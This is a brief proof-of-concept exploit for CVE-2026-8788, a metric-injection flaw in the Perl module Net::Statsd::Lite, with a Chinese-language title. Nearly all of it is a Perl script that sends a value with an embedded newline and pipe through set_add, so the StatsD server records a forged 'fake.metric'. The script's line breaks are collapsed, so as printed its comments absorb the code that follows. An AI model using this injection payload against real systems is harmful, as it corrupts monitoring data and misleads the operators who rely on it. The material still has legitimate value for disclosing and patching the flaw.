CVE-2026-8788 Net::Statsd::Lite指标注入漏洞

#!/usr/bin/perl use strict; use warnings; use Net::Statsd::Lite; # Victim configuration my $statsd = Net::Statsd::Lite->new( host => '127.0.0.1', port => 8125, ); # Malicious payload containing newline and pipe characters # This injects a new metric 'fake.metric' alongside the legitimate one my $malicious_input = "value\nfake.metric:666|g"; # The vulnerable 'set_add' method does not sanitize the input # causing the Statsd server to interpret the injected payload print "Sending payload...\n"; $statsd->set_add('legit.metric', $malicious_input); print "Exploit completed. Check Statsd server for injected 'fake.metric'.\n";